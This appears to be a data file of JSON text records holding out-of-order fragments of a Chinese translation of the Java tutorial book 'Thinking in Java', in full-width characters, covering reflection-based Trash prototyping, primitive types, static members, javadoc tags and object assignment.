ｉｎ ｔｈｅ ｌｉｓｔ． Ｔｒｙ ｔｏ ｌｏａｄ ｉｔ， ／／ ｂｕｔ ｉｔ ｍｕｓｔ ｂｅ ｉｎ ｙｏｕｒ ｃｌａｓｓ ｐａｔｈ！ ｔｒｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏａｄｉｎｇ ＂ ＋ ｉｎｆｏ．ｉｄ）； ｔｒａｓｈＴｙｐｅｓ．ａｄｄＥｌｅｍｅｎｔ（ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（ｉｎｆｏ．ｉｄ））； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｔｈｒｏｗ ｎｅｗ ＰｒｏｔｏｔｙｐｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ（）； ｝ ／／ Ｌｏａｄｅｄ ｓｕｃｃｅｓｓｆｕｌｌｙ． Ｒｅｃｕｒｓｉｖｅ ｃａｌｌ ５９８ ／／ ｓｈｏｕｌｄ ｗｏｒｋ ｔｈｉｓ ｔｉｍｅ： ｒｅｔｕｒｎ ｆａｃｔｏｒｙ（ｉｎｆｏ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｃｌａｓｓ Ｉｎｆｏ ｛ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｉｄ； ｐｕｂｌｉｃ ｄｏｕｂｌｅ ｄａｔａ； ｐｕｂｌｉｃ Ｉｎｆｏ（Ｓｔｒｉｎｇ ｎａｍｅ， ｄｏｕｂｌｅ ｄａｔａ） ｛ ｉｄ ＝ ｎａｍｅ； ｔｈｉｓ．ｄａｔａ ＝ ｄａｔａ； ｝ ｝ ｝ ／／／：￣ 基本 Ｔｒａｓｈ 类和 ｓｕｍＶａｌｕｅ（）还是象往常一样。"},
    {"text": "在 Ｔｒａｓｈ．ｆａｃｔｏｒｙ（）中，Ｉｎｆｏ 对象 ｉｄ（Ｉｎｆｏ 类的另一个版本，与前面讨论的不同）内部的 Ｓｔｒｉｎｇ 包含了要 创建的那种 Ｔｒａｓｈ 的类型名称。"},
    {"text": "在这儿，该数组是用 Ｊａｖａ １．１ 的数组创建语法动态创建的： ｎｅｗ Ｃｌａｓｓ［］ ｛ｄｏｕｂｌｅ．ｃｌａｓｓ｝ 这个代码假定所有 Ｔｒａｓｈ 类型都有一个需要 ｄｏｕｂｌｅ 数值的构建器（注意 ｄｏｕｂｌｅ．ｃｌａｓｓ 与 Ｄｏｕｂｌｅ．ｃｌａｓｓ 是不 同的）。"},
    {"text": "从 ｇｅｔＣｏｎｓｔｒｕｃｔｏｒｓ（）返回的是指向一个 Ｃｏｎｓｔｒｕｃｔｏｒ 对象的句柄（该对象是 ｊａｖａ．ｌａｎｇ．ｒｅｆｌｅｃｔ 的一部 分）。"},
    {"text": "这个数组同样是按 Ｊａｖａ １．１ 的语法创建的： ｎｅｗ Ｏｂｊｅｃｔ［］ ｛ｎｅｗ Ｄｏｕｂｌｅ（ｉｎｆｏ．ｄａｔａ）｝ 在这种情况下，ｄｏｕｂｌｅ 必须置入一个封装（容器）类的内部，使其真正成为这个对象数组的一部分。"},
    {"text": "通过调 用 ｎｅｗＩｎｓｔａｎｃｅ（），会提取出 ｄｏｕｂｌｅ，但大家可能会觉得稍微有些迷惑——参数既可能是 ｄｏｕｂｌｅ，也可能是 Ｄｏｕｂｌｅ，但在调用的时候必须用 Ｄｏｕｂｌｅ 传递。"},
    {"text": "１． Ｔｒａｓｈ 子类 为了与原型机制相适应，对 Ｔｒａｓｈ 每个新子类唯一的要求就是在其中包含了一个构建器，指示它获取一个 ｄｏｕｂｌｅ 参数。"},
    {"text": "下面是不同类型的 Ｔｒａｓｈ，每种类型都有它们自己的文件里，但都属于 Ｔｒａｓｈ 包的一部分（同样地，为了方 便在本章内重复使用）： ／／： Ａｌｕｍｉｎｕｍ．ｊａｖａ ／／ Ｔｈｅ Ａｌｕｍｉｎｕｍ ｃｌａｓｓ ｗｉｔｈ ｐｒｏｔｏｔｙｐｉｎｇ ｐａｃｋａｇｅ ｃ１６．ｔｒａｓｈ；"},
    {"text": "此时要用到人们称为“刚好及时”（Ｊｕｓｔ－ Ｉｎ Ｔｉｍｅ，或 ＪＩＴ）的编译器，甚至考虑更低级的代码编译器（写作本书时，也有两款问世）。"},
    {"text": "可将这一 情形想象成用遥控板（句柄）操纵电视机（对象）。 只要握住这个遥控板，就相当于掌握了与电视机连接的 通道。 但一旦需要“换频道”或者“关小声音”，我们实际操纵的是遥控板（句柄），再由遥控板自己操纵 电视机（对象）。 如果要在房间里四处走走，并想保持对电视机的控制，那么手上拿着的是遥控板，而非电 视机。 此外，即使没有电视机，遥控板亦可独立存在。"},
    {"text": "和堆栈不同，“内存堆”或 “堆”（Ｈｅａｐ）最吸引人的地方在于编译器不必知道要从堆里分配多少存储空间，也不必知道存储的数据要 在堆里停留多长的时间。"},
    {"text": "主类型 大小 最小值 最大值 封装器类型 ｂｏｏｌｅａｎ １ 位 － － Ｂｏｏｌｅａｎ ｃｈａｒ １６ 位 Ｕｎｉｃｏｄｅ ０ Ｕｎｉｃｏｄｅ ２ 的 １６ 次方－１ Ｃｈａｒａｃｔｅｒ ｂｙｔｅ ８ 位 －１２８ ＋１２７ Ｂｙｔｅ（注释①） ｓｈｏｒｔ １６ 位 －２ 的 １５ 次方 ＋２ 的 １５ 次方－１ Ｓｈｏｒｔ（注释①） ｉｎｔ ３２ 位 －２ 的 ３１ 次方 ＋２ 的 ３１ 次方－１ Ｉｎｔｅｇｅｒ ｌｏｎｇ ６４ 位 －２ 的 ６３ 次方 ＋２ 的 ６３ 次方－１ Ｌｏｎｇ ｆｌｏａｔ ３２ 位 ＩＥＥＥ７５４ ＩＥＥＥ７５４ Ｆｌｏａｔ ｄｏｕｂｌｅ ６４ 位 ＩＥＥＥ７５４ ＩＥＥＥ７５４ Ｄｏｕｂｌｅ Ｖｏｉｄ － － － Ｖｏｉｄ（注释①） ①：到 Ｊａｖａ １．１ 才有，１．０ 版没有。"},
    {"text": "例如： ｃｈａｒ ｃ ＝ ＇ｘ＇； Ｃｈａｒａｃｔｅｒ Ｃ ＝ ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇ｃ＇）； 也可以直接使用： Ｃｈａｒａｃｔｅｒ Ｃ ＝ ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇ｘ＇）；"},
    {"text": "／＊ ｂｏｔｈ ｘ ＆ ｑ ａｖａｉｌａｂｌｅ ＊／ ｝ ／＊ ｏｎｌｙ ｘ ａｖａｉｌａｂｌｅ ＊／ ／＊ ｑ “ｏｕｔ ｏｆ ｓｃｏｐｅ” ＊／ ｝ 作为在作用域里定义的一个变量，它只有在那个作用域结束之前才可使用。"},
    {"text": "２ ． ４ 新建数据类型：类 如果说一切东西都是对象，那么用什么决定一个“类”（Ｃｌａｓｓ）的外观与行为呢？ 换句话说，是什么建立起 了一个对象的“类型”（Ｔｙｐｅ）呢？"},
    {"text": "例如： ｃｌａｓｓ ＡＴｙｐｅＮａｍｅ ｛／＊类主体置于这里｝ 这样就引入了一种新类型，接下来便可用 ｎｅｗ 创建这种类型的一个新对象： ＡＴｙｐｅＮａｍｅ ａ ＝ ｎｅｗ ＡＴｙｐｅＮａｍｅ（）；"},
    {"text": "２ ． ４ ． １ 字段和方法 定义一个类时（我们在 Ｊａｖａ 里的全部工作就是定义类、制作那些类的对象以及将消息发给那些对象），可在 自己的类里设置两种类型的元素：数据成员（有时也叫“字段”）以及成员函数（通常叫“方法”）。"},
    {"text": "如果是指向对象的一个句柄，则必须初始化那个句柄，用一种名为“构建器”（第 ４ 章会对此详述） 的特殊函数将其与一个实际对象连接起来（就象早先看到的那样，使用 ｎｅｗ 关键字）。"},
    {"text": "可将值赋给数据成员，但首先必须知道如何引用一个对象的成员。 为达到引用对象成员的目的，首先要写上 对象句柄的名字，再跟随一个点号（句点），再跟随对象内部成员的名字。 即“对象句柄．成员”。"},
    {"text": "１． 主成员的默认值 若某个主数据类型属于一个类成员，那么即使不明确（显式）进行初始化，也可以保证它们获得一个默认 值。 主类型 默认值 Ｂｏｏｌｅａｎ ｆａｌｓｅ Ｃｈａｒ ＇＼ｕ００００＇（ｎｕｌｌ） ｂｙｔｅ （ｂｙｔｅ）０ ｓｈｏｒｔ （ｓｈｏｒｔ）０ ｉｎｔ ０ ｌｏｎｇ ０Ｌ ｆｌｏａｔ ０．０ｆ ｄｏｕｂｌｅ ０．０ｄ 一旦将变量作为类成员使用，就要特别注意由 Ｊａｖａ 分配的默认值。 这样做可保证主类型的成员变量肯定得到 了初始化（Ｃ＋＋不具备这一功能），可有效遏止多种相关的编程错误。"},
    {"text": "方法的基本组成部分包括名字、自变量、返回类型以及主体。 下面便是它最基本的形式： ５０ 返回类型 方法名（ ／＊ 自变量列表＊／ ） ｛／＊ 方法主体 ＊／｝ 返回类型是指调用方法之后返回的数值类型。"},
    {"text": "为一个对象调用 方法时，需要先列出对象的名字，在后面跟上一个句点，再跟上方法名以及它的参数列表。 亦即“对象名．方 法名（自变量 １，自变量 ２，自变量 ３．．．）。"},
    {"text": "④：对于前面提及的“特殊”数据类型 ｂｏｏｌｅａｎ，ｃｈａｒ，ｂｙｔｅ，ｓｈｏｒｔ，ｉｎｔ，ｌｏｎｇ，，ｆｌｏａｔ 以及 ｄｏｕｂｌｅ 来 说是一个例外。"},
    {"text": "下面列出的是定义代码，必须将它置于一个类定义里， 否则无法编译： ｉｎｔ ｓｔｏｒａｇｅ（Ｓｔｒｉｎｇ ｓ） ｛ ｒｅｔｕｒｎ ｓ．ｌｅｎｇｔｈ（） ＊ ２；"},
    {"text": "｝ 这个方法告诉我们需要多少字节才能容纳一个特定字串里的信息（字串里的每个字符都是 １６ 位，或者说 ２ 个 字节、长整数，以便提供对 Ｕｎｉｃｏｄｅ 字符的支持）。"},
    {"text": "ｂｏｏｌｅａｎ ｆｌａｇ（） ｛ ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｆｌｏａｔ ｎａｔｕｒａｌＬｏｇＢａｓｅ（） ｛ ｒｅｔｕｒｎ ２．７１８； ｝ ｖｏｉｄ ｎｏｔｈｉｎｇ（） ｛ ｒｅｔｕｒｎ；"},
    {"text": "到此为止，大家或许已得到了这样的一个印象：一个程序只是一系列对象的集合，它们的方法将其他对象作 ５１ 为自己的自变量使用，而且将消息发给那些对象。"},
    {"text": "由于我的域名是 ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ，所以我的实用工具库就可命名为 ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｕｔｉｌｉｔｙ．ｆｏｉｂｌｅｓ。"},
    {"text": "ｉｍｐｏｒｔ 的作用是指示编译器导入一个“包”——或者说一个“类库”（在 其他语言里，可将“库”想象成一系列函数、数据以及类的集合。"},
    {"text": "而在这之 ５２ 前，对于非 ｓｔａｔｉｃ 数据和方法，我们必须创建一个对象，并用那个对象访问数据或方法。 这是由于非 ｓｔａｔｉｃ 数据和方法必须知道它们操作的具体对象。 当然，在正式使用前，由于 ｓｔａｔｉｃ 方法不需要创建任何 对象，所以它们不可简单地调用其他那些成员，同时不引用一个已命名的对象，从而直接访问非 ｓｔａｔｉｃ 成员 或方法（因为非 ｓｔａｔｉｃ 成员和方法必须同一个特定的对象关联到一起）。"},
    {"text": "请考察下述代码： ＳｔａｔｉｃＴｅｓｔ ｓｔ１ ＝ ｎｅｗ ＳｔａｔｉｃＴｅｓｔ（）； ＳｔａｔｉｃＴｅｓｔ ｓｔ２ ＝ ｎｅｗ ＳｔａｔｉｃＴｅｓｔ（）；"},
    {"text": "亦可直接用 它的类名引用，而这在非静态成员里是行不通的（最好用这个办法引用 ｓｔａｔｉｃ 变量，因为它强调了那个变量 的“静态”本质）。"},
    {"text": "静态方法的定义是类似的： ｃｌａｓｓ ＳｔａｔｉｃＦｕｎ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｉｎｃｒ（） ｛ ＳｔａｔｉｃＴｅｓｔ．ｉ＋＋； ｝ ｝ 从中可看出，ＳｔａｔｉｃＦｕｎ 的方法 ｉｎｃｒ（）使静态数据 ｉ 增值。 通过对象，可用典型的方法调用 ｉｎｃｒ（）： ＳｔａｔｉｃＦｕｎ ｓｆ ＝ ｎｅｗ ＳｔａｔｉｃＦｕｎ（）；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐｒｏｐｅｒｔｙ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｎｅｗ Ｄａｔｅ（））； Ｐｒｏｐｅｒｔｉｅｓ ｐ ＝ Ｓｙｓｔｅｍ．ｇｅｔＰｒｏｐｅｒｔｉｅｓ（）； ５３ ｐ．ｌｉｓｔ（Ｓｙｓｔｅｍ．ｏｕｔ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂－－－ Ｍｅｍｏｒｙ Ｕｓａｇｅ：＂）； Ｒｕｎｔｉｍｅ ｒｔ ＝ Ｒｕｎｔｉｍｅ．ｇｅｔＲｕｎｔｉｍｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｏｔａｌ Ｍｅｍｏｒｙ ＝ ＂ ＋ ｒｔ．ｔｏｔａｌＭｅｍｏｒｙ（） ＋ ＂ Ｆｒｅｅ Ｍｅｍｏｒｙ ＝ ＂ ＋ ｒｔ．ｆｒｅｅＭｅｍｏｒｙ（））；"},
    {"text": "可将下面这段代码置于 ｍａｉｎ（）的 末尾，用它暂停输出： ｔｒｙ ｛ Ｔｈｒｅａｄ．ｃｕｒｒｅｎｔＴｈｒｅａｄ（）．ｓｌｅｅｐ（５ ＊ １０００）； ｝ ｃａｔｃｈ（ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｝ 它的作用是暂停输出 ５ 秒钟。"},
    {"text": "在每个程序文件的开头，都必须放置一个 ｉｍｐｏｒｔ 语句，导入那个文件的代码里要用到的所有额外的类。 注意 我们说它们是“额外”的，因为一个特殊的类库会自动导入每个 Ｊａｖａ 文件：ｊａｖａ．ｌａｎｇ。"},
    {"text": "启动您的 Ｗｅｂ 浏览 器，查看由 Ｓｕｎ 提供的用户文档（如果尚未从 ｈｔｔｐ：／／ｗｗｗ．ｊａｖａ．ｓｕｎ．ｃｏｍ 下载，或用其他方式安装了 Ｊａｖａ 文 档，请立即下载）。"},
    {"text": "如果 不清楚一个特定的类在哪个类库里，或者想检视所有的类，可在 Ｊａｖａ 用户文档里选择“Ｃｌａｓｓ Ｈｉｅｒａｒｃｈｙ” （类分级结构）。"},
    {"text": "经这样处理后，可发现我们的 搜索目标以 ｊａｖａ．ｕｔｉｌ．Ｄａｔｅ 的形式列出。 我们终于知道它位于 ｕｔｉｌ 库里，所以必须导入 ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "类里必须包含一个名为 ｍａｉｎ（）的方法，形式如下： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ 其中，关键字“ｐｕｂｌｉｃ”意味着方法可由外部世界调用（第 ５ 章会详细解释）。"},
    {"text": "调用 ｇｅｔＰｒｏｐｅｒｔｉｅｓ（）时，它会将系统属性作为 Ｐｒｏｐｅｒｔｉｅｓ 类的一个对象生成（注意 Ｐｒｏｐｅｒｔｉｅｓ 是“属性”的意思）。"},
    {"text": "在第三行，大家可看到 Ｐｒｏｐｅｒｔｉｅｓ 对象有一个名为 ｌｉｓｔ（）的方法，它将自己的全部内容都发给一 个我们作为自变量传递的 ＰｒｉｎｔＳｔｒｅａｍ 对象。"},
    {"text": "请观察下述语句： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｏｔａｌ Ｍｅｍｏｒｙ ＝ ＂ ＋ ｒｔ．ｔｏｔａｌＭｅｍｏｒｙ（） ＋ ＂ Ｆｒｅｅ Ｍｅｍｏｒｙ ＝ ＂ ＋ ｒｔ．ｆｒｅｅＭｅｍｏｒｙ（））；"},
    {"text": "这些注释用一个 “／＊”起头，随后是注释内容，并可跨越多行，最后用一个“＊／”结束。 注意许多程序员在连续注释内容的 每一行都用一个“＊”开头，所以经常能看到象下面这样的内容： ／＊ 这是 ＊ 一段注释， ＊ 它跨越了多个行 ＊／ 但请记住，进行编译时，／＊和＊／之间的所有东西都会被忽略，所以上述注释与下面这段注释并没有什么不 同： ／＊ 这是一段注释， 它跨越了多个行 ＊／ 第二种类型的注释也起源于 Ｃ＋＋。 这种注释叫作“单行注释”，以一个“／／”起头，表示这一行的所有内容 都是注释。"},
    {"text": "下面便是这类注释的一个例子： ／／ 这是一条单行注释 ５５ ２ ． ８ ． １ 注释文档 对于 Ｊａｖａ 语言，最体贴的一项设计就是它并没有打算让人们为了写程序而写程序——人们也需要考虑程序的 文档化问题。"},
    {"text": "如 下面这个简单的例子所示： ／＊＊ 一个类注释 ＊／ ｐｕｂｌｉｃ ｃｌａｓｓ ｄｏｃＴｅｓｔ ｛ ／＊＊ 一个变量注释 ＊／ ｐｕｂｌｉｃ ｉｎｔ ｉ； ／＊＊ 一个方法注释 ＊／ ｐｕｂｌｉｃ ｖｏｉｄ ｆ（） ｛｝ ｝ 注意 ｊａｖａｄｏｃ 只能为 ｐｕｂｌｉｃ（公共）和 ｐｒｏｔｅｃｔｅｄ（受保护）成员处理注释文档。"},
    {"text": "“ｐｒｉｖａｔｅ”（私有）和 “友好”（详见 ５ 章）成员的注释会被忽略，我们看不到任何输出（也可以用－ｐｒｉｖａｔｅ 标记包括 ｐｒｉｖａｔｅ 成 员）。"},
    {"text": "＊ ＜／ｐｒｅ＞ ＊／ 亦可象在其他 Ｗｅｂ 文档里那样运用 ＨＴＭＬ，对普通文本进行格式化，使其更具条理、更加美观： ／＊＊ ５６ ＊ 您＜ｅｍ＞甚至＜／ｅｍ＞可以插入一个列表： ＊ ＜ｏｌ＞ ＊ ＜ｌｉ＞ 项目一 ＊ ＜ｌｉ＞ 项目二 ＊ ＜ｌｉ＞ 项目三 ＊ ＜／ｏｌ＞ ＊／ 注意在文档注释中，位于一行最开头的星号会被 ｊａｖａｄｏｃ 丢弃。"},
    {"text": "格式如下： ＠ｓｅｅ 类名 ＠ｓｅｅ 完整类名 ＠ｓｅｅ 完整类名＃方法名 每一格式都会在生成的文档里自动加入一个超链接的“Ｓｅｅ Ａｌｓｏ”（参见）条目。"},
    {"text": "２ ． ８ ． ６ 变量文档标记 变量文档只能包括嵌入的 ＨＴＭＬ 以及＠ｓｅｅ 引用。 ２ ． ８ ． ７ 方法文档标记 除嵌入 ＨＴＭＬ 和＠ｓｅｅ 引用之外，方法还允许使用针对参数、返回值以及违例的文档标记。"},
    {"text": "１． ＠ｐａｒａｍ 格式如下： ５７ ＠ｐａｒａｍ 参数名 说明 其中，“参数名”是指参数列表内的标识符，而“说明”代表一些可延续到后续行内的说明文字。"},
    {"text": "所以，违例标记的格式如下： ＠ｅｘｃｅｐｔｉｏｎ 完整类名 说明 其中，“完整类名”明确指定了一个违例类的名字，它是在其他某个地方定义好的。"},
    {"text": "该标记用于指出一些旧功能已由改进过的新功能取代。 该标记的作用是建议用户不 必再使用一种特定的功能，因为未来改版时可能摒弃这一功能。"},
    {"text": "２ ． ８ ． ８ 文档示例 下面还是我们的第一个 Ｊａｖａ 程序，只不过已加入了完整的文档注释： ／／： Ｐｒｏｐｅｒｔｙ．ｊａｖａ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "／＊＊ Ｔｈｅ ｆｉｒｓｔ Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ ｅｘａｍｐｌｅ ｐｒｏｇｒａｍ． ＊ Ｌｉｓｔｓ ｓｙｓｔｅｍ ｉｎｆｏｒｍａｔｉｏｎ ｏｎ ｃｕｒｒｅｎｔ ｍａｃｈｉｎｅ． ＊ ＠ａｕｔｈｏｒ Ｂｒｕｃｅ Ｅｃｋｅｌ ＊ ＠ａｕｔｈｏｒ ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ ＊ ＠ｖｅｒｓｉｏｎ １．０ ＊／ ｐｕｂｌｉｃ ｃｌａｓｓ Ｐｒｏｐｅｒｔｙ ｛ ／＊＊ Ｓｏｌｅ ｅｎｔｒｙ ｐｏｉｎｔ ｔｏ ｃｌａｓｓ ＆ ａｐｐｌｉｃａｔｉｏｎ ＊ ＠ｐａｒａｍ ａｒｇｓ ａｒｒａｙ ｏｆ ｓｔｒｉｎｇ ａｒｇｕｍｅｎｔｓ ＊ ＠ｒｅｔｕｒｎ Ｎｏ ｒｅｔｕｒｎ ｖａｌｕｅ ＊ ＠ｅｘｃｅｐｔｉｏｎ ｅｘｃｅｐｔｉｏｎｓ Ｎｏ ｅｘｃｅｐｔｉｏｎｓ ｔｈｒｏｗｎ ＊／ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｎｅｗ Ｄａｔｅ（））；"},
    {"text": "Ｐｒｏｐｅｒｔｉｅｓ ｐ ＝ Ｓｙｓｔｅｍ．ｇｅｔＰｒｏｐｅｒｔｉｅｓ（）； ｐ．ｌｉｓｔ（Ｓｙｓｔｅｍ．ｏｕｔ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂－－－ Ｍｅｍｏｒｙ Ｕｓａｇｅ：＂）； Ｒｕｎｔｉｍｅ ｒｔ ＝ Ｒｕｎｔｉｍｅ．ｇｅｔＲｕｎｔｉｍｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｏｔａｌ Ｍｅｍｏｒｙ ＝ ＂ ＋ ｒｔ．ｔｏｔａｌＭｅｍｏｒｙ（） ＋ ＂ Ｆｒｅｅ Ｍｅｍｏｒｙ ＝ ＂ ＋ ｒｔ．ｆｒｅｅＭｅｍｏｒｙ（））；"},
    {"text": "｝ ５８ ｝ ／／／：￣ 第一行： ／／： Ｐｒｏｐｅｒｔｙ．ｊａｖａ 采用了我自己的方法：将一个“：”作为特殊的记号，指出这是包含了源文件名字的一个注释行。"},
    {"text": "例如： ｃｌａｓｓ ＡｌｌＴｈｅＣｏｌｏｒｓＯｆＴｈｅＲａｉｎｂｏｗ ｛ ／／ ．．．｝ 对于其他几乎所有内容：方法、字段（成员变量）以及对象句柄名称，可接受的样式与类样式差不多，只是 标识符的第一个字母采用小写。"},
    {"text": "例如： ｃｌａｓｓ ＡｌｌＴｈｅＣｏｌｏｒｓＯｆＴｈｅＲａｉｎｂｏｗ ｛ ｉｎｔ ａｎＩｎｔｅｇｅｒＲｅｐｒｅｓｅｎｔｉｎｇＣｏｌｏｒｓ； ｖｏｉｄ ｃｈａｎｇｅＴｈｅＨｕｅＯｆＴｈｅＣｏｌｏｒ（ｉｎｔ ｎｅｗＨｕｅ） ｛ ／／ ．．． ｝ ／／ ．．． ｝ 当然，要注意用户也必须键入所有这些长名字，而且不能输错。"},
    {"text": "除此以外，一个运算符可改变运算对象的值，这叫作“副 作用”（Ｓｉｄｅ Ｅｆｆｅｃｔ）。 运算符最常见的用途就是修改自己的运算对象，从而产生副作用。"},
    {"text": "由于主类型容纳了实际的值，而且并非指向一个对象的句柄，所以在为 其赋值的时候，可将来自一个地方的内容复制到另一个地方。 例如，假设为主类型使用“Ａ＝Ｂ”，那么 Ｂ 处的 内容就复制到 Ａ。"},
    {"text": "在后面，大家在代码示例里看到的第一个语句将是“ｐａｃｋａｇｅ ０３”使用的“ｐａｃｋａｇｅ”语 句，它代表本书第 ３ 章。 本书每一章的第一个代码清单都会包含象这样的一个“ｐａｃｋａｇｅ”（封装、打包、包 裹）语句，它的作用是为那一章剩余的代码建立章节编号。 在第 １７ 章，大家会看到第 ３ 章的所有代码清单 （除那些有不同封装名称的以外）都会自动置入一个名为 ｃ０３ 的子目录里； 第 ４ 章的代码置入 ｃ０４；"},
    {"text": "就目前来说，大家只需记住象“ｐａｃｋａｇｅ ０３”这样的形式只是用于为某一章的代码清单建立相 应的子目录。 为运行程序，必须保证在 ｃｌａｓｓｐａｔｈ 里包含了我们安装本书源码文件的根目录（那个目录里包含了 ｃ０２， ｃ０３ｃ，ｃ０４ 等等子目录）。"},
    {"text": "６０ 对于 Ｊａｖａ 后续的版本（１．１．４ 和更高版本），如果您的 ｍａｉｎ（）用 ｐａｃｋａｇｅ 语句封装到一个文件里，那么必须 在程序名前面指定完整的包裹名称，否则不能运行程序。 在这种情况下，命令行是： ｊａｖａ ｃ０３．Ａｓｓｉｇｎｍｅｎｔ 运行位于一个“包裹”里的程序时，随时都要注意这方面的问题。"},
    {"text": "下面是例子： ／／： Ａｓｓｉｇｎｍｅｎｔ．ｊａｖａ ／／ Ａｓｓｉｇｎｍｅｎｔ ｗｉｔｈ ｏｂｊｅｃｔｓ ｉｓ ａ ｂｉｔ ｔｒｉｃｋｙ ｐａｃｋａｇｅ ｃ０３；"},
    {"text": "ｃｌａｓｓ Ｎｕｍｂｅｒ ｛ ｉｎｔ ｉ； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ａｓｓｉｇｎｍｅｎｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｎｕｍｂｅｒ ｎ１ ＝ ｎｅｗ Ｎｕｍｂｅｒ（）； Ｎｕｍｂｅｒ ｎ２ ＝ ｎｅｗ Ｎｕｍｂｅｒ（）； ｎ１．ｉ ＝ ９； ｎ２．ｉ ＝ ４７； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂１： ｎ１．ｉ： ＂ ＋ ｎ１．ｉ ＋ ＂， ｎ２．ｉ： ＂ ＋ ｎ２．ｉ）； ｎ１ ＝ ｎ２； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂２： ｎ１．ｉ： ＂ ＋ ｎ１．ｉ ＋ ＂， ｎ２．ｉ： ＂ ＋ ｎ２．ｉ）； ｎ１．ｉ ＝ ２７； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂３： ｎ１．ｉ： ＂ ＋ ｎ１．ｉ ＋ ＂， ｎ２．ｉ： ＂ ＋ ｎ２．ｉ）；"},
    {"text": "但由于我们已赋予了一个句柄，所以下面才是真实的输出： １： ｎ１．ｉ： ９， ｎ２．ｉ： ４７ ２： ｎ１．ｉ： ４７， ｎ２．ｉ： ４７ ３： ｎ１．ｉ： ２７， ｎ２．ｉ： ２７ 看来改变 ｎ１ 的同时也改变了 ｎ２！ 这是由于无论 ｎ１ 还是 ｎ２ 都包含了相同的句柄，它指向相同的对象（最初 的句柄位于 ｎ１ 内部，指向容纳了值 ９ 的一个对象。"},
    {"text": "／／： ＰａｓｓＯｂｊｅｃｔ．ｊａｖａ ／／ Ｐａｓｓｉｎｇ ｏｂｊｅｃｔｓ ｔｏ ｍｅｔｈｏｄｓ ｃａｎ ｂｅ ａ ｂｉｔ ｔｒｉｃｋｙ ６１ ｃｌａｓｓ Ｌｅｔｔｅｒ ｛ ｃｈａｒ ｃ； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＰａｓｓＯｂｊｅｃｔ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｆ（Ｌｅｔｔｅｒ ｙ） ｛ ｙ．ｃ ＝ ＇ｚ＇； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｌｅｔｔｅｒ ｘ ＝ ｎｅｗ Ｌｅｔｔｅｒ（）； ｘ．ｃ ＝ ＇ａ＇； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂１： ｘ．ｃ： ＂ ＋ ｘ．ｃ）； ｆ（ｘ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂２： ｘ．ｃ： ＂ ＋ ｘ．ｃ）；"},
    {"text": "下面这个例子展示了算术运算符的各种用法： ／／： ＭａｔｈＯｐｓ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｔｈｅ ｍａｔｈｅｍａｔｉｃａｌ ｏｐｅｒａｔｏｒｓ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
